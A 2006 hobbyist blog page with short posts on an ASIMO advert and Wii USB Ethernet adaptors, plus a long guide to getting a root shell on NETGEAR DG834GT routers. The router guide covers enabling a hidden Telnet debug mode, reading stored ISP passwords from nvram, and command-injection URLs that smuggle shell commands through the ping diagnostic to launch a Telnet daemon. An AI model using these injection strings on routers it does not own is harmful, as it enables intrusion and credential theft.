Honda ASIMO Advert
20/12/2006 11:19 PM Filed in:
Miscellaneous
If you've not yet seen the new Honda
ASIMO advert I recommend you do so now:
Honda ASIMO
It's amazing to see just how much progress Honda have been making with their ASIMO project.
Honda ASIMO
It's amazing to see just how much progress Honda have been making with their ASIMO project.
Nintendo Wii Ethernet Adaptors
18/12/2006 10:15 PM Filed in:
Nintendo Wii
Having been a proud owner of a
Nintendo Wii since launch, I've recently been intrigued by the
investigative work in this thread regarding the use of a third
party USB Ethernet adaptor on the Wii:
Confirmed, Non-Nintendo USB to Ethernet adapter working
Unfortunately the KINAMAX USB Ethernet adaptor mentioned isn't readily available in the UK let alone the majority of Europe.
Knowing that the KINAMAX adaptor is based on the ASIX AX88772 chip, I decided to give the D-Link DUB-E100 Ver. B1 and the Linksys USB200M Ver. 2 USB Ethernet adaptors a go on my Wii as they're both based on the same chip. Sadly I had no luck with either adaptor as it appears that even though the same chip is being used the USB vendor and device IDs aren't being recognised by the Wii.
The KINAMAX adaptor presents the following hardware string to the Wii:
USB\VID_0B95&PID_7720
The assumption that any other USB Ethernet adaptor that presents the same hardware string will work on the Wii is a reasonably valid one. I offer the following information for others to compare:
• D-Link DUB-E100 Ver. B1 (USB\VID_2001&PID_3C05)
• Linksys USB200M Ver. 2 (USB\VID_13B1&PID_0018)
If I have any luck with any other adaptors I'll post back my results. Until then have a read of WiiLi the rapidly expanding Linux for Wii project.
Confirmed, Non-Nintendo USB to Ethernet adapter working
Unfortunately the KINAMAX USB Ethernet adaptor mentioned isn't readily available in the UK let alone the majority of Europe.
Knowing that the KINAMAX adaptor is based on the ASIX AX88772 chip, I decided to give the D-Link DUB-E100 Ver. B1 and the Linksys USB200M Ver. 2 USB Ethernet adaptors a go on my Wii as they're both based on the same chip. Sadly I had no luck with either adaptor as it appears that even though the same chip is being used the USB vendor and device IDs aren't being recognised by the Wii.
The KINAMAX adaptor presents the following hardware string to the Wii:
USB\VID_0B95&PID_7720
The assumption that any other USB Ethernet adaptor that presents the same hardware string will work on the Wii is a reasonably valid one. I offer the following information for others to compare:
• D-Link DUB-E100 Ver. B1 (USB\VID_2001&PID_3C05)
• Linksys USB200M Ver. 2 (USB\VID_13B1&PID_0018)
If I have any luck with any other adaptors I'll post back my results. Until then have a read of WiiLi the rapidly expanding Linux for Wii project.
NETGEAR DG834GT Hacking
15/07/2006 12:00 PM Filed in:
Hardware
Looking for information on
Sky
Broadband? Please
jump to the URL Injection
section!
If you're the lucky owner of a NETGEAR DG834GT you're likely to be familiar with its powerful management interface that you can access from any web browser connected to your wired or wireless network. But what you probably didn't know is what level of access you have to the embedded Linux operating system that is powering this excellent router.
The Linux derivative that NETGEAR opted for when putting together this router is the well known BusyBox embedded Linux platform found on many consumer devices that want to offer the power of Linux to the consumer but in a neat package with low memory and processor overheads.
Getting access to BusyBox operating system is a straight-forward affair but may or may not work on the firmware release installed on your router. At the time of writing, the current firmware release of 1.02.04 is fully accessible using the instructions outlined below.
Begin by entering the following web address into your web browser making sure to change the default IP address of 192.168.0.1 to whatever IP address you assigned to your router if you modified it:
http://192.168.0.1/setup.cgi?todo=debug
You will be prompted for your administration username and password ('admin' and 'password' by default). Once authenticated, you should then see the message "Debug Enabled!" in your browser indicating that the debug command was successfully received and that the Telnet server has been started.
This step varies on the operating system that you are using but the result is always the same:
At the command line, enter the following command paying attention to your router's IP address:
# telnet 192.168.0.1
The BusyBox prompt will then appear confirming successful connection to your router's Telnet server:
BusyBox v1.00 (2005.07.29-07:22+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Launch the Terminal application found in the Applications -> Utilities folder and then enter the following command paying attention to your router's IP address:
# telnet 192.168.0.1
The BusyBox prompt will then appear confirming successful connection to your router's Telnet server:
BusyBox v1.00 (2005.07.29-07:22+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Click on Start, then Run and then enter the following command paying attention to your router's IP address:
# telnet 192.168.0.1
A Telnet window with the BusyBox prompt will then appear confirming successful connection to your router's Telnet server:
BusyBox v1.00 (2005.07.29-07:22+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Advanced Windows users may instead wish to use PuTTY which provides a better Telnet environment than that of the supplied Windows Telnet command.
Once at the BusyBox prompt you are now free to interact with the OS in various ways.
Here are some example commands to get you going:
Enter the following command to view information about the Linux kernel used by the DG834GT:
# cat /proc/version
The output should look something like this:
Linux version 2.6.8.1 (root@localhost.localdomain) (gcc version 3.4.2) #23 Tue Dec 6 12:07:22 CST 2005
As you can see this DG834GT is running on a fairly old Linux kernel from August 2004 (the date shown is the compilation date). That said, this doesn't necessarily limit the router's performance or feature set. A future firmware release from NETGEAR may update the kernel to a more recent version should NETGEAR deem it necessary.
To see some useful information about the DG834GT's processor, enter the following:
# cat /proc/cpuinfo
The output should look something like this:
system type : 96348GW-10
processor : 0
cpu model : BCM6348 V0.7
BogoMIPS : 255.59
wait instruction : no
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : no
VCED exceptions : not available
VCEI exceptions : not available
The DG834GT is powered by Broadcom's BCM6348 which according to Broadcom is a "single-chip ADSL2+ Customer Premise Equipment (CPE) device with integrated Central Processing Unit (CPU), transceiver and Analog Front End (AFE)".
In other words a CPU, ADSL2+ modem and USB/Ethernet controller all in one chip with a speed roughly similar to that of a Pentium MMX running at 133MHz or an AMD K5 running at 120MHz according to its BogoMIPS rating.
For information about the DG834GT's memory use, enter the following:
# cat /proc/meminfo
The output should look something like this:
MemTotal: 13544 kB
MemFree: 3640 kB
Buffers: 1780 kB
Cached: 3720 kB
SwapCached: 0 kB
Active: 3768 kB
Inactive: 2324 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 13544 kB
LowFree: 3640 kB
SwapTotal: 0 kB
SwapFree: 0 kB
Dirty: 0 kB
Writeback: 0 kB
Mapped: 1320 kB
Slab: 2408 kB
Committed_AS: 1144 kB
PageTables: 228 kB
VmallocTotal: 1048560 kB
VmallocUsed: 692 kB
VmallocChunk: 1047684 kB
The DG834GT appears to have only 16MB of RAM on-board of which 13.5MB is available to use. The example output above shows about 3.5MB of free RAM and 3.5MB of cached RAM (RAM in use by processes). The remainder of the on-board RAM appears to be allocated for file system use as can be seen later on.
The following command will provide you with a list of running processes:
# ps
The output should look something like this:
PID Uid VmSize Stat Command
1 root 252 S init
2 root SWN [ksoftirqd/0]
3 root SW< [events/0]
4 root SW< [khelper]
5 root SW< [kblockd/0]
17 root SW [pdflush]
18 root SW [pdflush]
19 root SW [kswapd0]
20 root SW< [aio/0]
26 root SW [mtdblockd]
104 root 244 S /sbin/klogd
159 root 244 S /usr/sbin/udhcpd /etc/udhcpd.conf
171 root 244 S /usr/sbin/crond
173 root 168 S /usr/sbin/scfgmgr
177 root 184 S /usr/sbin/cmd_agent_ap
178 root 168 S /usr/sbin/pb_ap
191 root 252 S init
211 root 524 S /usr/sbin/pppd plugin pppoa 0.38 user user@isp.com
854 root 196 S /usr/sbin/reaim
1245 root 256 S /usr/sbin/mini_httpd -d /www -r NETGEAR DG834GT -c *
1350 root 220 S /usr/sbin/utelnetd -d
1452 root 400 S /bin/sh
1462 root 268 R ps
Entries of note include '/usr/sbin/utelnetd' which is the Telnet server, '/usr/sbin/mini_httpd' the web server providing the management interface and '/usr/sbin/pppd' the process managing the active ADSL session.
To generate a list of available network interfaces and their current status, enter the following command:
# ifconfig
The output should look something like this:
ath0 Link encap:Ethernet HWaddr 00:0F:B5:00:00:00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:66567 errors:0 dropped:0 overruns:0 frame:0
TX packets:105733 errors:0 dropped:24 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5332191 (5.0 MiB) TX bytes:134015921 (127.8 MiB)
br0 Link encap:Ethernet HWaddr 00:0F:B5:00:00:00
inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:206440 errors:0 dropped:0 overruns:0 frame:0
TX packets:340497 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:11450136 (10.9 MiB) TX bytes:320187703 (305.3 MiB)
eth0 Link encap:Ethernet HWaddr 00:0F:B5:00:00:00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:1356 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:526367 (514.0 KiB)
Interrupt:30 Base address:0x6800
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1234 errors:0 dropped:0 overruns:0 frame:0
TX packets:1234 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:299094 (292.0 KiB) TX bytes:299094 (292.0 KiB)
ppp0 Link encap:Point-Point Protocol
inet addr:10.0.0.1 P-t-P:10.0.0.2 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1458 Metric:1
RX packets:337138 errors:0 dropped:0 overruns:0 frame:0
TX packets:194945 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:3
RX bytes:314103783 (299.5 MiB) TX bytes:10994991 (10.4 MiB)
wifi0 Link encap:Ethernet HWaddr 00:0F:B5:00:00:00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:71409 errors:0 dropped:0 overruns:0 frame:210979
TX packets:108224 errors:2919 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:199
RX bytes:7327145 (6.9 MiB) TX bytes:136796785 (130.4 MiB)
Interrupt:32 Memory:a8000000-a8010000
You'll notice that the various network devices all share the same MAC address as reported by 'ifconfig'. This is possibly the result of the single-chip design, some operating system configuration that has been enabled by NETGEAR or a limitation of the command itself.
The correct information can be obtained from the management interface as before.
Some interesting ADSL statistics can be obtained by entering the following command:
# cat /tmp/adsl-stats
The output should look something like this:
/usr/sbin/adslctl: ADSL driver and PHY status
Status: Showtime Channel: FAST, Upstream rate = 288 Kbps, Downstream rate = 2272 Kbps
Link Power State: L0
Mode: G.DMT
Channel: Fast
Trellis: ON
Line Status: No Defect
Training Status: Showtime
Down Up
SNR (dB): 30.2 28.0
Attn(dB): 9.0 5.0
Pwr(dBm): 9.5 11.5
Max(Kbps): 11648 1200
Rate (Kbps): 2272 288
G.dmt framing
K: 72(0) 10
R: 0 0
S: 1 1
D: 1 1
ADSL2 framing
MSGc: 1 1
B: 72 10
M: 1 1
T: 1 1
R: 0 0
S: 1.0000 1.0000
L: 584 88
D: 1 1
Counters
SF: 571236 571234
SFErr: 0 0
RS: 0 0
RSCorr: 0 0
RSUnCorr: 0 0
HEC: 0 0
OCD: 0 0
LCD: 0 0
Total Cells: 52038274 0
Data Cells: 4221258 0
Drop Cells: 0
Bit Errors: 0 0
ES: 0 0
SES: 0 0
UAS: 11 0
Total time = 2 hours 42 min 7 sec
SF = 571236
CRC = 0
LOS = 0
LOF = 0
ES = 0
Apart from the more common ADSL statistics already present in the managment interface (ADSL status, downstream/upstream rates, noise/attenuation ratios) we also have some interesting information on the maximum speed supported by your line for both downstream and upstream as reported by the DSLAM at your local telephone exchange.
The "Max(Kbps)" entry seen in the example above is showing a maximum supported rate of 11648 Kbps downstream and 1200 Kbps upstream as opposed to negotiated rate of 2272 Kbps downstream and 288 Kbps upstream.
Entering the following command provides you with an overview of the DG834GT's simple file system:
# ls -al /
The output should look something like this:
drwxr-xr-x 1 0 0 452 Jan 1 1970 bin
drwxr-xr-x 1 0 0 0 Jan 1 1970 dev
lrwxrwxrwx 1 0 0 8 Jan 1 1970 etc -> /tmp/etc
drwxr-xr-x 1 0 0 784 Jan 1 1970 lib
dr-xr-xr-x 33 0 0 0 Jan 1 00:00 proc
drwxr-xr-x 1 0 0 176 Jan 1 1970 sbin
drwxrwxrwx 4 0 0 0 Jan 1 01:59 tmp
drwxr-xr-x 1 0 0 116 Jan 1 1970 usr
lrwxrwxrwx 1 0 0 8 Jan 1 1970 var -> /tmp/var
lrwxrwxrwx 1 0 0 8 Jan 1 1970 www -> /tmp/www
drwxr-xr-x 1 0 0 3812 Jan 1 1970 www.deu
drwxr-xr-x 1 0 0 3888 Jan 1 1970 www.eng
drwxr-xr-x 1 0 0 3784 Jan 1 1970 www.fre
drwxr-xr-x 1 0 0 3836 Jan 1 1970 www.ita
BusyBox commands can be found in '/bin' and '/sbin' while active router settings and statistics can be found in either '/proc' or '/tmp'. Available devices can be found in '/dev' while active Linux modules can be found in '/lib'.
The HTML files and CGI scripts making up the management interface can be found in '/www' or '/tmp/www' which is nothing more than a symbolic link to one of the '/www.*' directories depending on which management interface language you currently have selected.
The router's configuration is stored in a plain-text file that can be found in the /tmp folder. To view this file enter the following command:
# cat /tmp/nvram
Unfortunately, as you can see, the entries in this file are concatenated making it difficult to read:
time_zone=GMT+0time_daylight=1restore_default=0wiz_language=Englishwiz_country=UKfix_ipaddr=fix_netmask=
fix_gateway=wan_ifname=ppp0wan_mode=pppoawan_iptype=Dynamicwan_ipaddr=wan_netmask=wan_gateway=wan_mtu=1458
wan_fix_dns=0wan_dns1=wan_dns2=wan_macaddr=wan_encap=1wan_vpi=0wan_vci=38wan_account=wan_domain=wan_dod=1
lan_if=br0lan_ipaddr=192.168.0.1lan_netmask=255.255.255.0lan_bipaddr=192.168.0.255dhcp_server_enable=1
dhcp_start_ip=192.168.0.10dhcp_end_ip=192.168.0.100dhcp_reserved=http_username=adminhttp_password=password
http_timeout=15rt_static_route=rt_rip_version=1rt_rip_direction=0ddns_enable=0ddns_service_provider=
dyndnsddns_user_name=ddns_password=ddns_host_name=ddns_use_wildcards=0pppoe_username=pppoe_password=
pppoe_idle=0pppoe_service=pppoa_username=user@isp.compppoa_password=abc123ABCpppoa_idle=0pppoa_ipaddr=
wifi_ssid=NETGEARwifi_region=Europewifi_channel=6wifi_auth_type=3wifi_key_len=0wifi_def_key=1wifi_key1=
wifi_key2=wifi_key3=wifi_key4=wifi_access_control=0wifi_access_list=wifi_if_on=1wifi_broadcast_ssid=1
wifi_wep_on=0wifi_dot11_mode=0wifi_dot11_iso=1wifi_radius_port=1812mail_enable=0mail_logfull=0mail_sendlog=0
mail_server=mail_recipient=mail_dos=0mail_portscan=0mail_block=0mail_sh_day=mail_sh_hour=0log_dos=0
log_block=0log_login=0log_gateway=0log_type=0log_remote_ip=fw_nat=1fw_block=0fw_block_keyword=
fw_block_trust_enable=0fw_block_trust=fw_services_def=Any(ALL):any:1-65535Any(TCP):tcp:1-65535
Any(UDP):udp:1-65535AIM:tcp:5190-5190BGP:tcp:179-179BOOTP_CLIENT:udp:68-68BOOTP_SERVER:udp:67-67
CU-SEEME:both:7648-24032DNS:both:53-53FINGER:tcp:79-79FTP:tcp:20-21H.323:tcp:1720-1720HTTP:tcp:80-80
HTTPS:tcp:443-443IDENT:tcp:113-113IRC:both:6667-6667NEWS:tcp:144-144NFS:udp:2049-2049NNTP:tcp:119-119
POP3:udp:110-110RCMD:tcp:512-512REAL-AUDIO:tcp:7070-7070REXEC:tcp:514-514RLOGIN:tcp:513-513
RTELNET:tcp:107-107RTSP:both:554-554SFTP:tcp:115-115SMTP:tcp:25-25SNMP:both:161-161SNMP-TRAPS:both:162-162
SQL-NET:tcp:1521-1521SSH:both:22-22STRMWORKS:udp:1558-1558TACACS:udp:49-49TELNET:tcp:23-23TFTP:udp:69-69
VDOLIVE:tcp:7000-7000VPN-IPSEC:udp:500-500VPN-L2TP:udp:1701-1701VPN-PPTP:tcp:1723-1723fw_services=
fw_in_rules=fw_out_rules=fw_dmz_enable=0fw_dmz=fw_spi=1fw_response_ping=0fw_schedule=1111111:0:0-24:0
fw_time_zone=GMTbfw_remote=0fw_remote_type=1fw_remote_range_start=fw_remote_range_end=fw_remote_single=
fw_remote_port=8080ntp_custom=0ntp_server=upnp_enable=0upnp_adv_time=30upnp_ttl=4snmp_enable=0
snmp_read_community=snmp_sys_name=snmp_sys_contact=snmp_sys_location=wifi_present=1wifi_features=
1wiz_runtest=ipoa_mode=mail_enable_auth=0mail_login=mail_password=upgrade_default=0#
One way of getting around this is by using the 'grep' command to search the nvram content and only output the search results. For example:
# cat /tmp/nvram | grep pppoa_
This will output the contents of the nvram file to 'grep' which will scan this output, match against the search string that was passed to the command and then return any results that it finds:
pppoa_username=user@isp.com
pppoa_password=abc123ABC
pppoa_idle=0
pppoa_ipaddr=
In this particular example, 'grep' returns entries relating to PPPoA authentication that would allow you to see the username and password stored on your router that is used to connect you to your ISP's ADSL service. Most useful if you should ever forget or lose your password. :-)
Added 22nd September 2006
Updated 27th September 2006
Having recently subscribed to Sky Broadband in the UK, I like many other knowledgeable subscribers were disheartened to find that the branded NETGEAR DG834GT Sky are using has had its Telnet server password protected as a result of Sky's customisations to the NETGEAR firmware. Any attempt to launch the server using the debug mode described above is met with a login prompt once you connect your Telnet client to the router. Trying various username/password combinations gets you nowhere.
Not one to be beaten by such a pointless restriction, I delved further into the NETGEAR and Sky firmware to try and find a flaw I could take advantage of. After a couple of days of tinkering I finally found one. The infamous URL injection.
URL injection, to put it simply, is a method of manipulating a URL on a web server to achieve a result not originally intended by that URL. For example, you modify a URL to display a web server's filesystem rather than display a news article as it was originally supposed to.
Having had a look at the source for a few of the HTML pages present on both the NETGEAR and the Sky firmware, I found a candidate for URL injection: the router's ping diagnostic function. Trying various things I finally managed to get the result I wanted. Access to BusyBox and the underlying operating system without the need for the Telnet server.
There are some limitations, non-interactive command access for one, but they aren't enough of a hindrance to be a problem.Hopefully
with time a way of bypassing the Telnet lockout of the Sky branded
router using this new hack will be found.
To begin, you need to log into the administration interface of the router as normal.
Due to the nature of the hack not being fully interactive, I had to come up with a method of obtaining the command output we expect. Redirecting output to a text file in the default web root would be the logical method as you can then download the file through the router's web server and read the output offline. Unfortunately NETGEAR made the web root read only on the router which at first made this seem impossible. Read only for all files bar two: netgear.cfg and ppp_log which are used for dynamic content that needs to be generated by the router on the fly and accessed or downloaded by the user.
Taking advantage of this file permissions oversight, we can now pipe our command output directly into either of these two files and download them to view the output. You can download the files by entering them directly into your web browser as follows (I'll use netgear.cfg for all of my examples):
http://192.168.0.1/netgear.cfg
Now that we can access the command output that we generate, here's how to access the same information provided in some of the Telnet examples above by using URL injection:
This simple example shows you the default BusyBox output:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/busybox
Just copy and paste the URL above into your browser to use it. Any output (including a ping error message which is normal) will be displayed in your browser window.
In this example we obtain detailed statistics from the ADSL modem:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/usr/sbin/adslctl+info+--stats+%3E+/www.eng/netgear.cfg
To view the output, click the following link and open the netgear.cfg file in a text editor:
http://192.168.0.1/netgear.cfg
To obtain PPPoA authentication information (which is annoyingly hidden from you on the Sky branded router unless you choose to revert your firmware back to a NETGEAR version) enter the following:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/grep+ppoa_+/tmp/nvram+%3E+/www/netgear.cfg
To view the output, click the following link and open the netgear.cfg file in a text editor such as Notepad or WordPad on Windows and TextEdit or TextWrangler on Mac OS X:
http://192.168.0.1/netgear.cfg
Here we use a complex URL to create a shell script in /tmp that sets a PATH variable and then launches the utelnetd daemon when later executed:
NOTE: This URL has been wrapped across multiple lines and should be copy & pasted as one line into your browser!
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/echo+%22%23%21/bin/ash%22+%3E+/tmp/utelnetd.sh
%26/bin/echo+%22PATH%3D/bin%3A/sbin%3A/usr/bin%3A/usr/sbin%3A/tmp%22+%3E%3E+/tmp/utelnetd.sh
%26/bin/echo+%22/usr/sbin/utelnetd+-d+-l+/bin/ash+-p+23%22+%3E%3E+/tmp/utelnetd.sh
%26/bin/chmod+755+/tmp/utelnetd.sh
We can now launch the shell script we created in the URL above using the following URL:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/tmp/utelnetd.sh
We can also combine some of these techniques into one line to achieve the same result like so (credit to Digital Spy's mossywell for wrapping this all into one URL injection for me):
NOTE: This URL has been wrapped and should be copy & pasted as one line into your browser!
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=
%26/bin/ash+-c+%27PATH%3D/bin%3A/sbin%3A/usr/bin%3A/usr/sbin%3B/usr/sbin/utelnetd+-d+-l+/bin/ash%27
And here we kill the same utelnetd daemon we started manually:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/usr/bin/killall+utelnetd
Using the simple examples above it's very easy to perform other tasks that you would otherwise have been able to perform via Telnet access.
One example would be to use URL injection to access the 'wget' command, download an executable (let's say a third party FTP or SSH server), set permissions on that command to be executable and then finally execute the command on the router.
There's plenty more to be had from this amazing little router, more than I can reasonably include on this page.
Further information on hacking the existing operating system or even replacing it entirely can be found on the web via the following links:
I should state that the information supplied above isn't limited solely to the DG34GT. I've been able to access the operating system on the DG834Gv2 in exactly the same manner with similar results. Your access to the operating system will always be controlled by your firmware release and any limitations imposed by NETGEAR in that firmware release. What works now may not work in the next firmware release that NETGEAR puts out.
Should you decide that access to your router's operating system is more important than the additional features or bug fixes made available in a newer firmware release, either postpone the firmware upgrade or keep a copy of your previous firmware image so that you can roll back to it should you ever need to.
As always, your mileage will inevitably vary and I cannot be held responsible for any loss or damage you may encounter as a result of following any of the instructions contained within this article.
That said I'm certain you will enjoy tinkering with your DG834GT on a such low level as much as I have done. :-)
Overview
If you're the lucky owner of a NETGEAR DG834GT you're likely to be familiar with its powerful management interface that you can access from any web browser connected to your wired or wireless network. But what you probably didn't know is what level of access you have to the embedded Linux operating system that is powering this excellent router.
The Linux derivative that NETGEAR opted for when putting together this router is the well known BusyBox embedded Linux platform found on many consumer devices that want to offer the power of Linux to the consumer but in a neat package with low memory and processor overheads.
Getting Started
Getting access to BusyBox operating system is a straight-forward affair but may or may not work on the firmware release installed on your router. At the time of writing, the current firmware release of 1.02.04 is fully accessible using the instructions outlined below.
Enable the embedded Telnet server
Begin by entering the following web address into your web browser making sure to change the default IP address of 192.168.0.1 to whatever IP address you assigned to your router if you modified it:
http://192.168.0.1/setup.cgi?todo=debug
You will be prompted for your administration username and password ('admin' and 'password' by default). Once authenticated, you should then see the message "Debug Enabled!" in your browser indicating that the debug command was successfully received and that the Telnet server has been started.
Connect to the embedded Telnet server
This step varies on the operating system that you are using but the result is always the same:
Linux
At the command line, enter the following command paying attention to your router's IP address:
# telnet 192.168.0.1
The BusyBox prompt will then appear confirming successful connection to your router's Telnet server:
BusyBox v1.00 (2005.07.29-07:22+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Mac OS X
Launch the Terminal application found in the Applications -> Utilities folder and then enter the following command paying attention to your router's IP address:
# telnet 192.168.0.1
The BusyBox prompt will then appear confirming successful connection to your router's Telnet server:
BusyBox v1.00 (2005.07.29-07:22+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Windows XP
Click on Start, then Run and then enter the following command paying attention to your router's IP address:
# telnet 192.168.0.1
A Telnet window with the BusyBox prompt will then appear confirming successful connection to your router's Telnet server:
BusyBox v1.00 (2005.07.29-07:22+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Advanced Windows users may instead wish to use PuTTY which provides a better Telnet environment than that of the supplied Windows Telnet command.
BusyBox Interaction
Once at the BusyBox prompt you are now free to interact with the OS in various ways.
Here are some example commands to get you going:
Linux Kernel Information
Enter the following command to view information about the Linux kernel used by the DG834GT:
# cat /proc/version
The output should look something like this:
Linux version 2.6.8.1 (root@localhost.localdomain) (gcc version 3.4.2) #23 Tue Dec 6 12:07:22 CST 2005
As you can see this DG834GT is running on a fairly old Linux kernel from August 2004 (the date shown is the compilation date). That said, this doesn't necessarily limit the router's performance or feature set. A future firmware release from NETGEAR may update the kernel to a more recent version should NETGEAR deem it necessary.
Processor Information
To see some useful information about the DG834GT's processor, enter the following:
# cat /proc/cpuinfo
The output should look something like this:
system type : 96348GW-10
processor : 0
cpu model : BCM6348 V0.7
BogoMIPS : 255.59
wait instruction : no
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : no
VCED exceptions : not available
VCEI exceptions : not available
The DG834GT is powered by Broadcom's BCM6348 which according to Broadcom is a "single-chip ADSL2+ Customer Premise Equipment (CPE) device with integrated Central Processing Unit (CPU), transceiver and Analog Front End (AFE)".
In other words a CPU, ADSL2+ modem and USB/Ethernet controller all in one chip with a speed roughly similar to that of a Pentium MMX running at 133MHz or an AMD K5 running at 120MHz according to its BogoMIPS rating.
Memory Information
For information about the DG834GT's memory use, enter the following:
# cat /proc/meminfo
The output should look something like this:
MemTotal: 13544 kB
MemFree: 3640 kB
Buffers: 1780 kB
Cached: 3720 kB
SwapCached: 0 kB
Active: 3768 kB
Inactive: 2324 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 13544 kB
LowFree: 3640 kB
SwapTotal: 0 kB
SwapFree: 0 kB
Dirty: 0 kB
Writeback: 0 kB
Mapped: 1320 kB
Slab: 2408 kB
Committed_AS: 1144 kB
PageTables: 228 kB
VmallocTotal: 1048560 kB
VmallocUsed: 692 kB
VmallocChunk: 1047684 kB
The DG834GT appears to have only 16MB of RAM on-board of which 13.5MB is available to use. The example output above shows about 3.5MB of free RAM and 3.5MB of cached RAM (RAM in use by processes). The remainder of the on-board RAM appears to be allocated for file system use as can be seen later on.
Running Process List
The following command will provide you with a list of running processes:
# ps
The output should look something like this:
PID Uid VmSize Stat Command
1 root 252 S init
2 root SWN [ksoftirqd/0]
3 root SW< [events/0]
4 root SW< [khelper]
5 root SW< [kblockd/0]
17 root SW [pdflush]
18 root SW [pdflush]
19 root SW [kswapd0]
20 root SW< [aio/0]
26 root SW [mtdblockd]
104 root 244 S /sbin/klogd
159 root 244 S /usr/sbin/udhcpd /etc/udhcpd.conf
171 root 244 S /usr/sbin/crond
173 root 168 S /usr/sbin/scfgmgr
177 root 184 S /usr/sbin/cmd_agent_ap
178 root 168 S /usr/sbin/pb_ap
191 root 252 S init
211 root 524 S /usr/sbin/pppd plugin pppoa 0.38 user user@isp.com
854 root 196 S /usr/sbin/reaim
1245 root 256 S /usr/sbin/mini_httpd -d /www -r NETGEAR DG834GT -c *
1350 root 220 S /usr/sbin/utelnetd -d
1452 root 400 S /bin/sh
1462 root 268 R ps
Entries of note include '/usr/sbin/utelnetd' which is the Telnet server, '/usr/sbin/mini_httpd' the web server providing the management interface and '/usr/sbin/pppd' the process managing the active ADSL session.
Network Interface List
To generate a list of available network interfaces and their current status, enter the following command:
# ifconfig
The output should look something like this:
ath0 Link encap:Ethernet HWaddr 00:0F:B5:00:00:00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:66567 errors:0 dropped:0 overruns:0 frame:0
TX packets:105733 errors:0 dropped:24 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5332191 (5.0 MiB) TX bytes:134015921 (127.8 MiB)
br0 Link encap:Ethernet HWaddr 00:0F:B5:00:00:00
inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:206440 errors:0 dropped:0 overruns:0 frame:0
TX packets:340497 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:11450136 (10.9 MiB) TX bytes:320187703 (305.3 MiB)
eth0 Link encap:Ethernet HWaddr 00:0F:B5:00:00:00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:1356 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:526367 (514.0 KiB)
Interrupt:30 Base address:0x6800
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1234 errors:0 dropped:0 overruns:0 frame:0
TX packets:1234 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:299094 (292.0 KiB) TX bytes:299094 (292.0 KiB)
ppp0 Link encap:Point-Point Protocol
inet addr:10.0.0.1 P-t-P:10.0.0.2 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1458 Metric:1
RX packets:337138 errors:0 dropped:0 overruns:0 frame:0
TX packets:194945 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:3
RX bytes:314103783 (299.5 MiB) TX bytes:10994991 (10.4 MiB)
wifi0 Link encap:Ethernet HWaddr 00:0F:B5:00:00:00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:71409 errors:0 dropped:0 overruns:0 frame:210979
TX packets:108224 errors:2919 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:199
RX bytes:7327145 (6.9 MiB) TX bytes:136796785 (130.4 MiB)
Interrupt:32 Memory:a8000000-a8010000
You'll notice that the various network devices all share the same MAC address as reported by 'ifconfig'. This is possibly the result of the single-chip design, some operating system configuration that has been enabled by NETGEAR or a limitation of the command itself.
The correct information can be obtained from the management interface as before.
Modem Statistics
Some interesting ADSL statistics can be obtained by entering the following command:
# cat /tmp/adsl-stats
The output should look something like this:
/usr/sbin/adslctl: ADSL driver and PHY status
Status: Showtime Channel: FAST, Upstream rate = 288 Kbps, Downstream rate = 2272 Kbps
Link Power State: L0
Mode: G.DMT
Channel: Fast
Trellis: ON
Line Status: No Defect
Training Status: Showtime
Down Up
SNR (dB): 30.2 28.0
